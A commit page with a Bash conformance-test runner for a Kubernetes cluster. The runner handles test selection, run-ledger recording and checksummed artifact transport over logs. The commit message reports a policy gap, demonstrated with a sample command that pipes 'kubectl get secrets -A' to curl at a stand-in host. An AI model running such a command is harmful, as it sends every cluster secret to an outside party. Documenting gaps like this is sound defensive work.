Files
jakman85andClaude Opus 5 6ef4def2b5 feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:01:33 -05:00

661 lines
34 KiB
Bash
Executable File
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#!/usr/bin/env bash
###############################################################################
# conformance/run.sh — the single-command conformance runner (R-TEST-02/03/04)
#
# ONE command runs the suite (or a requirement-/layer-scoped subset) and always
# emits JUnit + a requirement-coverage report. Local runs and the in-cluster CI
# Chainsaw Job invoke this same script so results are identical (reproducibility).
#
# ./run.sh # full suite; skips L1/L2/L3 if no cluster
# ./run.sh --requirements R-NET-01,R-NET-06 # merge-gate subset (tagged)
# ./run.sh --layer l2 # one layer (l0|l1|l2|l3|meta|all; l0/l1 need no cluster)
# ./run.sh --requirements R-NET-01,R-NET-02 --layer l2 # intersect: tagged AND in layer
# ./run.sh --layer l0 --requirements R-X --include-scope whole-repo
# # UNION: the tagged subset PLUS every test that
# # DECLARES `conformance.home.k3s/scope: whole-repo`.
# # A whole-repo invariant must run on EVERY gate
# # invocation — see lib/common.sh's scope block for
# # why, and why a SKIP of one is exit 3, not green.
# ./run.sh --coverage-only # regenerate coverage report only (no cluster)
# ./run.sh --status # DERIVED STATUS report only (no cluster): per
# # requirement, is it implemented, is it actually
# # reconciled by Flux, is its test executable or a
# # scaffold, and whether the committed run ledger
# # (runs/ledger.jsonl) actually proves it — see
# # lib/status.py. No ledger row => not-derivable.
# ./run.sh --lint # structural-validate test defs (no cluster)
# ./run.sh --print-selection # print the test dirs the CURRENT selection resolves
# # to, one per line, and exit. Runs no check. This is
# # how a test can PROVE the selection includes it
# # (tests/l0-static/whole-repo-invariants-wired) without
# # executing the suite and recursing into itself.
# ./run.sh --strict-coverage # hygiene gate: fail on tag/annotation drift
# ./run.sh --requirements R-NET-01 # ALSO asserts those IDs are covered (merge gate)
# ./run.sh --require-all # phase-exit: every requirement must be covered
# ./run.sh --record # RUN AND CAPTURE: tee the whole run to
# # runs/<UTC>-<short-sha>/run.log, copy the JUnit
# # beside it, and append one ledger row per
# # testcase to runs/ledger.jsonl (lib/record_run.py)
#
# --record — PROOF-OF-PASS, CAPTURED AT RUN TIME (why it is a separate flag)
# --------------------------------------------------------------------------
# Without it, nothing about a green run ever reaches repo state: _artifacts/ is gitignored
# and the root .gitignore kills *.junit.xml globally, which is why `--status` reports
# PROVEN 0 for all 51 requirements. `--record` writes the one tracked thing that fixes
# that — `conformance/runs/` (see conformance/.gitignore for the negations).
#
# RECORDING IS DELIBERATELY EXPLICIT. A run that silently records itself is how a bad run
# becomes a permanent false proof, so the plain `./run.sh` writes no ledger row at all.
#
# BOTH FILES ARE KEPT, and the LOG is the load-bearing one. The L2/L3 tests self-skip
# GREEN: when a precondition is missing they echo e.g. `DR_RESTORE_SKIPPED_OK` and exit 0,
# and Chainsaw records `passed` exactly as on a real run. Chainsaw's JUnit carries no
# stdout, so the sentinel token in run.log is the ONLY thing that separates proven from
# skipped. A JUnit committed on its own would record a skip as proof of R-STATE-03.
#
# Artifacts (always written under conformance/_artifacts/, gitignored):
# _artifacts/report.junit.xml JUnit (Chainsaw output, or skipped-scaffold shim)
# _artifacts/coverage/coverage.md human coverage report
# _artifacts/coverage/coverage.json machine coverage report
# _artifacts/status/status.md human requirement-status report (--status)
# _artifacts/status/status.json machine requirement-status report (--status)
#
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
# conformance/_artifacts (the Job mounts a `results`
# volume, which cannot sit inside the git-clone target).
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
# checksummed base64 tar of the artifact tree to STDOUT,
# because `kubectl logs` is the only channel CI has out of
# the Job (no pods/exec, no kubectl cp). See the RESULTS
# TRANSPORT block below for the envelope and for the five
# checks a collector MUST make. Never set this locally.
#
# Run ledger (TRACKED — commit these; --record only):
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
# runs/ledger.jsonl append-only, one row per testcase per run
#
# Phase 0: no cluster exists. The behavior tests are valid scaffolds that cannot
# execute yet, so run.sh emits a *skipped* JUnit and a coverage report, and exits
# green — the harness is proven reproducible while later phases fill in behavior.
###############################################################################
set -euo pipefail
CONF_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
export CONF_ROOT
# shellcheck source=lib/common.sh
source "${CONF_ROOT}/lib/common.sh"
# shellcheck source=versions.env
source "${CONF_ROOT}/versions.env"
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
# path, because that path is inside the directory the init container `git clone`s into and
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
# a local run is byte-identical to what it always was.
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
COVERAGE_OUT="${ARTIFACTS}/coverage"
STATUS_OUT="${ARTIFACTS}/status"
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
PYTHON="${PYTHON:-python3}"
# Every argument as given, so `--record` can re-exec this script unchanged (minus itself)
# under `tee`. Captured BEFORE parsing so nothing is normalized away.
ORIG_ARGS=("$@")
LAYER="all"
REQS=""
INCLUDE_SCOPES="" # --include-scope: scopes unioned into the selection (see lib/common.sh)
MODE="run" # run | coverage-only | status | lint
STRICT_COVERAGE=0
REQUIRE_ALL=0
FORCE_NO_CLUSTER=0
RECORD=0
# Documented, out-of-scope coverage gaps exempt from the completeness gate: requirements
# owned by another workstream that WS-TEST does not yet scaffold. Listed here so the
# exemption is explicit and reviewable, not silent.
#
# EMPTY as of 2026-09-01. R-ENV-02 and R-GITOPS-01 were the last two entries — exempted
# because they were unscaffolded while the coarse path->requirement map keys clusters/*
# and ci/* to them, so any overlay/CI edit would have false-blocked. They now have a real
# verifying L0 test (tests/l0-static/flux-postbuild-substitution), which asserts the
# substitution mechanism that IS the "authored once, promoted" contract, so they are
# covered rather than exempt and the completeness gate can hold them to it. That test
# names its own limits in its header: it proves the STATIC property (no manifest renders
# an undefined variable), not the live-cluster half of either requirement.
#
# FOLLOW-UP (WS-TEST) — HALF DONE. The debt was "make the matcher stop keying on doc-header
# tokens so real requirements need not be exempted". The CONTENT-SCAN half is now fixed in
# ci/touched-requirements.sh: it scans the added/removed lines of the diff, and skips *.md, so
# a requirement named in a header or in prose no longer counts as a declaration. Consequence
# to be aware of: a manifest whose HEADER declares the requirements it serves no longer
# contributes those IDs unless the change actually touches a line carrying them — the
# authoritative signal is the `conformance.home.k3s/R-*` label on a test, which still is.
# The PATH-MAP half remains: ci/touched-requirements.sh keys clusters/* and ci/* to
# R-ENV-02 + R-GITOPS-01 wholesale, which is why those two must stay exempted here. Tighten
# the path map (or scaffold the two requirements) and this list empties.
#
# R-STATE-02 (node-loss) WAS listed here (owned by WS-STORAGE, "delivered with Longhorn/infra")
# but now has a real verifying L3 test — tests/l3-fault-injection/node-loss — so it is no
# longer a gap and has been removed from this list; the coverage report counts it as covered.
DOCUMENTED_GAPS=""
# Print the header block (line 2 through the closing `####` rule, which is dropped) as
# help. Bounded by the rule rather than a fixed line number so the header can grow.
usage() { sed -n '2,/^#####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; }
while [ $# -gt 0 ]; do
case "$1" in
--layer) LAYER="$2"; shift 2 ;;
--requirements) REQS="$(conf_normalize_reqs "$2")"; shift 2 ;;
--include-scope) INCLUDE_SCOPES="${INCLUDE_SCOPES:+${INCLUDE_SCOPES},}$2"; shift 2 ;;
--coverage-only) MODE="coverage-only"; shift ;;
--status) MODE="status"; shift ;;
--lint) MODE="lint"; shift ;;
--print-selection) MODE="print-selection"; shift ;;
--strict-coverage) STRICT_COVERAGE=1; shift ;;
--require-all) REQUIRE_ALL=1; shift ;;
--no-cluster) FORCE_NO_CLUSTER=1; shift ;;
--record) RECORD=1; shift ;;
-h|--help) usage; exit 0 ;;
*) echo "unknown arg: $1" >&2; usage; exit 2 ;;
esac
done
mkdir -p "${ARTIFACTS}" "${COVERAGE_OUT}" "${STATUS_OUT}"
log() { printf '\033[1m[run.sh]\033[0m %s\n' "$*"; }
###############################################################################
# --record: capture this run as committed evidence, then hand it to the ledger.
#
# Implemented as a ONE-LEVEL re-exec of this same script under `tee`, so the run itself is
# byte-for-byte the ordinary run (same code path, same artifacts) and the log is the exact
# operator-visible output — no second, differently-behaving "recording mode" to drift.
# CONF_RECORD_CHILD guards against recursion.
#
# The recorder runs REGARDLESS of the run's exit status: a red run must be recorded as red
# (that is evidence too), and run.sh still exits with the child's real rc, so no gate is
# softened by recording. `${PIPESTATUS[0]}` is what carries that rc past `tee`.
###############################################################################
if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
case "${MODE}" in
run) ;;
# --record is about EVIDENCE OF A RUN. --coverage-only/--status/--lint execute no
# test, so a ledger row from one of them would be a row about nothing.
*) echo "--record captures a TEST RUN; --${MODE} executes none." >&2; exit 2 ;;
esac
RUN_SHA="$(git -C "${CONF_ROOT}" rev-parse --short HEAD 2>/dev/null || echo nogit)"
RUN_ID="$(date -u +%Y%m%dT%H%M%SZ)-${RUN_SHA}"
RUN_DIR="${CONF_ROOT}/runs/${RUN_ID}"
mkdir -p "${RUN_DIR}"
# Drop any JUnit left behind by a PREVIOUS run before starting, so this run dir can only
# ever capture a report THIS run produced. Copying a stale artifact would pair someone
# else's result with this run's log — a fabricated pairing, which is precisely the class
# of false proof the ledger exists to prevent.
rm -f "${JUNIT_OUT}"
# Strip --record from the argv handed to the child; everything else passes through.
CHILD_ARGS=()
for a in ${ORIG_ARGS[@]+"${ORIG_ARGS[@]}"}; do
[ "$a" = "--record" ] || CHILD_ARGS+=("$a")
done
log "RECORD: capturing this run to runs/${RUN_ID}/ (run.log + report.junit.xml)"
set +e
CONF_RECORD_CHILD=1 "${BASH_SOURCE[0]}" ${CHILD_ARGS[@]+"${CHILD_ARGS[@]}"} 2>&1 \
| tee "${RUN_DIR}/run.log"
RUN_RC=${PIPESTATUS[0]}
set -e
if [ -f "${JUNIT_OUT}" ]; then
cp "${JUNIT_OUT}" "${RUN_DIR}/report.junit.xml"
else
log "RECORD: no ${JUNIT_OUT} was produced — the ledger step will SKIP (never green)."
fi
# Explicit, separate step: read the JUnit + the log and append one row per testcase.
# rc 3 = inputs absent (nothing recorded, not green); it must not mask the run's own rc.
# CONF_LEDGER exists so the harness's own tests can exercise this path without writing
# to the real ledger; operators should never set it.
"${PYTHON}" "${CONF_ROOT}/lib/record_run.py" \
--run-dir "${RUN_DIR}" ${CONF_ENV:+--env "$CONF_ENV"} \
--ledger "${CONF_LEDGER:-${CONF_ROOT}/runs/ledger.jsonl}" || true
log "RECORD: run rc=${RUN_RC}. Commit conformance/runs/${RUN_ID}/ WITH its run.log and"
log "RECORD: conformance/runs/ledger.jsonl — an uncommitted ledger proves nothing."
exit "${RUN_RC}"
fi
###############################################################################
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
#
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
# ships its JUnit — the red report is the evidence the gate needs most.
#
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
# needed to PROVE completeness, and carries it TWICE:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the .tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
# never as "no artifacts", never as a pass:
# 1. exactly one BEGIN line and exactly one END line;
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
# means two interleaved or re-emitted envelopes in one log;
# 3. the count of body lines between them equals lines=;
# 4. the decoded byte count equals bytes=;
# 5. sha256 of the decoded bytes equals sha256=.
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
# which is the whole design requirement.
#
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
# against the Job's completion condition instead of trusting either signal alone.
#
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
# entry changed with the environment would be a trap for the collector. It unpacks the
# contents wherever it likes.
#
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
###############################################################################
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
conf_emit_artifacts_tgz() {
local rc="${1:-0}"
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
# change the run's verdict — nothing here can turn a red run green or a green run red.
trap - EXIT
(
set +e
local tmp tgz b64 bytes lines sha payload
tmp="${TMPDIR:-/tmp}"
tgz="${tmp}/conformance-artifacts.$$.tgz"
b64="${tgz}.b64"
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
rm -f "${tgz}"
exit 0
fi
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
rm -f "${tgz}" "${b64}"
exit 0
fi
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
cat "${b64}"
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
rm -f "${tgz}" "${b64}"
exit 0
)
exit "${rc}"
}
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
# emits a second envelope into its child's tee'd log.
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
trap 'conf_emit_artifacts_tgz "$?"' EXIT
fi
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
gen_coverage() {
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
# requirement is exempt, and handing the flag an empty string would be a silent no-op
# that reads like an exemption in the CLI log.
local flags=()
[ -n "${DOCUMENTED_GAPS}" ] && flags+=(--allow-gap "${DOCUMENTED_GAPS}")
[ "${STRICT_COVERAGE}" = 1 ] && flags+=(--strict)
# A tagged subset run is also the merge gate: the touched requirements MUST be covered.
[ -n "${REQS}" ] && flags+=(--require "${REQS}")
[ "${REQUIRE_ALL}" = 1 ] && flags+=(--require-all)
"${PYTHON}" "${CONF_ROOT}/lib/coverage.py" \
--registry "${CONF_ROOT}/requirements/registry.yaml" \
--tests "${CONF_ROOT}/tests" \
--out "${COVERAGE_OUT}" \
"${flags[@]}"
}
# --- Derived STATUS report (no cluster) ------------------------------------------------
# Coverage answers "does a tagged test EXIST?". Status answers the operator's question —
# "what is the real state of each requirement given what is actually in the repo?" — by
# deriving, per requirement: implementing artifact? reachable from a Flux Kustomization
# (reconciled, not merely authored)? tagged test that is EXECUTABLE rather than a TODO
# scaffold? It REFUSES to derive whether a test passed: nothing tracked in git records a
# run result, and a status report that defaults to green is worse than none.
gen_status() {
"${PYTHON}" "${CONF_ROOT}/lib/status.py" \
--repo "$(cd "${CONF_ROOT}/.." && pwd)" \
--registry "${CONF_ROOT}/requirements/registry.yaml" \
--tests "${CONF_ROOT}/tests" \
--out "${STATUS_OUT}" \
${CONF_ENV:+--env "$CONF_ENV"} \
"$@"
}
# --- Structural lint (no cluster): parse each test def and check the tag convention ----
lint_tests() {
log "Linting test definitions (structural, no cluster)"
local rc=0 f
if command -v chainsaw >/dev/null 2>&1; then
# Prefer chainsaw's own linter when the pinned binary is available.
while IFS= read -r f; do
chainsaw lint test --file "$f" >/dev/null || { echo "LINT FAIL: $f" >&2; rc=1; }
done < <(conf_all_test_files)
else
log "chainsaw not on PATH; falling back to structural check"
# Minimal YAML-shape check: kind Test + at least one requirement label per file.
while IFS= read -r f; do
grep -Eq '^kind:\s*Test' "$f" || { echo "LINT FAIL (no kind: Test): $f" >&2; rc=1; }
grep -Eq "^[[:space:]]*${CONF_LABEL_PREFIX}/R-[A-Z0-9]+-[0-9]+:" "$f" \
|| { echo "LINT FAIL (no requirement label): $f" >&2; rc=1; }
done < <(conf_all_test_files)
fi
return $rc
}
# --- Select which test directories Chainsaw should run --------------------------------
# Requirement-scoped selection, then the DECLARED-SCOPE union on top:
#
# (--requirements ∩ --layer) ∪ (--include-scope ∩ --layer)
#
# The left half is R-TEST-03's touched subset. The right half is the fix for its blind
# spot: an invariant that quantifies over the whole tracked tree cannot be selected BY the
# requirements a change touches, because the change most likely to break it touches none of
# them. See lib/common.sh's scope block for the incidents. The union is fail-closed by
# construction — it can only ADD tests to a run, never remove one.
select_dirs() {
{
requirement_scoped_dirs
# The scope union is still LAYER-bounded: `--layer l0` must not pull a whole-repo-scoped
# L2 test into an offline run. With no --layer (all), nothing is bounded away.
if [ -n "${INCLUDE_SCOPES}" ]; then
if [ "${LAYER}" != all ]; then
comm -12 \
<(conf_dirs_for_scopes "${INCLUDE_SCOPES}") \
<(conf_dirs_for_layer "${LAYER}")
else
conf_dirs_for_scopes "${INCLUDE_SCOPES}"
fi
fi
} | sort -u
}
# The pre-existing requirement/layer selection, unchanged:
# --requirements AND --layer together => intersection (tests carrying the tag
# AND living in that layer subtree). Either alone keeps its prior meaning, so
# this is backward compatible (LAYER defaults to "all"). Both helpers emit
# sorted, de-duplicated dirs, so `comm -12` yields the intersection.
requirement_scoped_dirs() {
if [ -n "${REQS}" ] && [ "${LAYER}" != all ]; then
comm -12 \
<(conf_dirs_for_requirements "${REQS}") \
<(conf_dirs_for_layer "${LAYER}")
elif [ -n "${REQS}" ]; then
conf_dirs_for_requirements "${REQS}"
else
conf_dirs_for_layer "${LAYER}"
fi
}
# --- HEAVY tests: the storage/VM/DR tests whose KubeVirt-CDI imports + Longhorn volume ops
# spike embedded-etcd I/O on the small dev VMs. Run SERIALLY (parallel=1) in their own
# pass so their etcd spikes never coincide with ANOTHER test's setup — the coincidence
# that made a single heavy test's apiserver blip fail-close Kyverno admission and abort
# every in-flight test's 0.01s setup (see config/chainsaw-config.yaml). Keyed by the test
# DIRECTORY basename (stable); override via CONF_HEAVY_TESTS to add/remove without code
# changes. Listed here even for tests still scaffolded (vm-lifecycle, dr-restore, ...) so
# the serialization is already correct the moment they grow real KubeVirt/Longhorn bodies.
CONF_HEAVY_TESTS="${CONF_HEAVY_TESTS:-vm-lifecycle vm-data-survival vm-default-deny data-survival dr-restore node-loss}"
conf_is_heavy_dir() {
# $1 = test dir; true if its basename is in the heavy set.
local base t
base="$(basename "$1")"
for t in ${CONF_HEAVY_TESTS}; do [ "$base" = "$t" ] && return 0; done
return 1
}
# One Chainsaw invocation over a specific set of dirs, at a given parallelism, writing to a
# named report file. Returns chainsaw's rc (0=all passed) WITHOUT aborting run.sh (callers
# collect both passes' rc so a light-pass failure still lets the heavy pass run, and vice
# versa). failFast stays false (config) so every test in the pass runs regardless.
run_chainsaw_pass() {
local report_name="$1" parallel="$2"; shift 2
local -a dirs=("$@")
local -a test_dir_args=()
local d
for d in "${dirs[@]}"; do test_dir_args+=(--test-dir "$d"); done
# Chainsaw writes JUnit per config/chainsaw-config.yaml (report.* under _artifacts).
# --report-path is passed ABSOLUTE (overriding the config's relative `_artifacts`) so the
# report write succeeds regardless of the caller's CWD. --report-name/--parallel override
# the config per-pass so the two passes don't clobber each other's report and the heavy
# pass forces serial execution.
local rc=0
chainsaw test \
--config "${CONF_ROOT}/config/chainsaw-config.yaml" \
--report-path "${ARTIFACTS}" \
--report-name "${report_name}" \
--parallel "${parallel}" \
"${test_dir_args[@]}" || rc=$?
return $rc
}
# --- Execute the Chainsaw suite against a live cluster ---------------------------------
# Split into a LIGHT pass (concurrent, config parallelism) and a HEAVY pass (serial,
# parallel=1). Robust single-pass green: the heavy etcd spikes are isolated in time from the
# light tests' setup, so a heavy test's transient apiserver blip can no longer cascade into
# mass fail-closed setup-aborts of unrelated tests. The two JUnit reports are stitched back
# into the one stable artifact CI collects (report.junit.xml) via lib/merge_junit.py, so the
# split is invisible to everything downstream.
run_chainsaw() {
local -a dirs
mapfile -t dirs < <(select_dirs)
if [ "${#dirs[@]}" -eq 0 ]; then
log "No tests match the selection (layer=${LAYER} reqs='${REQS}')."
return 0
fi
local -a light=() heavy=()
local d
for d in "${dirs[@]}"; do
if conf_is_heavy_dir "$d"; then heavy+=("$d"); else light+=("$d"); fi
done
mkdir -p "${ARTIFACTS}"
local light_report="${ARTIFACTS}/chainsaw-report-light.xml"
local heavy_report="${ARTIFACTS}/chainsaw-report-heavy.xml"
rm -f "${light_report}" "${heavy_report}"
local light_rc=0 heavy_rc=0
# Determine the light pass's parallelism from the shared config (single source of truth),
# falling back to 2 if unreadable — so bumping the config on prod-class hw needs no run.sh edit.
local light_parallel
light_parallel="$(sed -nE 's/^[[:space:]]*parallel:[[:space:]]*([0-9]+).*/\1/p' \
"${CONF_ROOT}/config/chainsaw-config.yaml" | head -1)"
[ -n "${light_parallel}" ] || light_parallel=2
if [ "${#light[@]}" -gt 0 ]; then
log "LIGHT pass: ${#light[@]} test(s), parallel=${light_parallel} (pinned ${CHAINSAW_VERSION})"
run_chainsaw_pass "chainsaw-report-light" "${light_parallel}" "${light[@]}" || light_rc=$?
else
log "LIGHT pass: no tests selected."
fi
if [ "${#heavy[@]}" -gt 0 ]; then
log "HEAVY pass: ${#heavy[@]} test(s) SERIAL (parallel=1) — ${heavy[*]##*/}"
run_chainsaw_pass "chainsaw-report-heavy" 1 "${heavy[@]}" || heavy_rc=$?
else
log "HEAVY pass: no heavy tests selected."
fi
# Stitch both passes' JUnit into the one stable artifact CI collects.
"${PYTHON}" "${CONF_ROOT}/lib/merge_junit.py" \
--out "${JUNIT_OUT}" --name chainsaw-report \
"${light_report}" "${heavy_report}"
# Overall result is the union: fail if EITHER pass had a failing/erroring test. Real
# failures still surface (nothing is masked); the split only changes WHEN heavy tests run.
if [ "${light_rc}" -ne 0 ] || [ "${heavy_rc}" -ne 0 ]; then
log "Chainsaw reported failures (light rc=${light_rc}, heavy rc=${heavy_rc})."
return 1
fi
return 0
}
# --- L0/L1: the cluster-INDEPENDENT layers (docs/14) ------------------------------------
# docs/14 puts TWO layers in CI without a cluster:
# L0 static/policy tests/l0-static/** each dir carries a `check.sh` (repo invariants)
# L1 rendering tests/l1-rendering/** each dir carries a `render-check.sh` (render == golden)
# Both are executed directly here and emit a REAL pass/fail JUnit, instead of being skipped
# with the cluster-gated layers. Honors the same --layer/--requirements selection as the rest
# of the suite (select_dirs), filtered to those two subtrees.
OFFLINE_SUBTREES='/l0-static/|/l1-rendering/'
offline_selected_dirs() {
select_dirs | grep -E "${OFFLINE_SUBTREES}" || true
}
# True when EVERY requested layer is cluster-independent, so the offline result is the
# whole result and run.sh must exit on it (the ci/l0.sh + ci/l1.sh merge-gate paths).
layers_are_offline_only() {
local l
[ "${LAYER}" = all ] && return 1
for l in ${LAYER//,/ }; do
case "$l" in l0|l1) ;; *) return 1 ;; esac
done
return 0
}
# Markdown one-liner per executed offline check, for the CI step summary. Written next to
# the JUnit; ci/l0.sh + ci/l1.sh splice it into $GITHUB_STEP_SUMMARY so the gate output still
# NAMES every check that ran (that is what the deleted per-check gate stages did, one hard-coded
# `summary` line each — now generated for all of them, whole-repo-scoped ones marked as such).
: "${OFFLINE_SUMMARY_OUT:=${ARTIFACTS}/offline-summary.md}"
run_offline_checks() {
local -a dirs
mapfile -t dirs < <(offline_selected_dirs)
if [ "${#dirs[@]}" -eq 0 ]; then
log "No L0/L1 offline checks match the selection (layer=${LAYER} reqs='${REQS}')."
return 0
fi
# Declared scopes are passed through so the runner knows WHICH cases must not be allowed to
# report a SKIP as green (rc 3). See lib/common.sh's scope block and run_l1_offline.py.
local -a scope_args=() s
for s in ${INCLUDE_SCOPES//,/ }; do scope_args+=(--unwired-scope "$s"); done
log "Running ${#dirs[@]} offline L0/L1 check(s) (no cluster; docs/14)."
[ -n "${INCLUDE_SCOPES}" ] && log " unconditional (declared scope ${INCLUDE_SCOPES}): $(conf_dirs_for_scopes "${INCLUDE_SCOPES}" | xargs -n1 basename 2>/dev/null | tr '\n' ' ')"
"${PYTHON}" "${CONF_ROOT}/lib/run_l1_offline.py" \
--junit "${JUNIT_OUT}" --label-prefix "${CONF_LABEL_PREFIX}" \
--scope-annotation "${CONF_SCOPE_ANNOTATION}" \
--summary-out "${OFFLINE_SUMMARY_OUT}" \
${scope_args[@]+"${scope_args[@]}"} "${dirs[@]}"
}
###############################################################################
# Main
###############################################################################
# --print-selection is deliberately handled FIRST: it resolves the selection and exits,
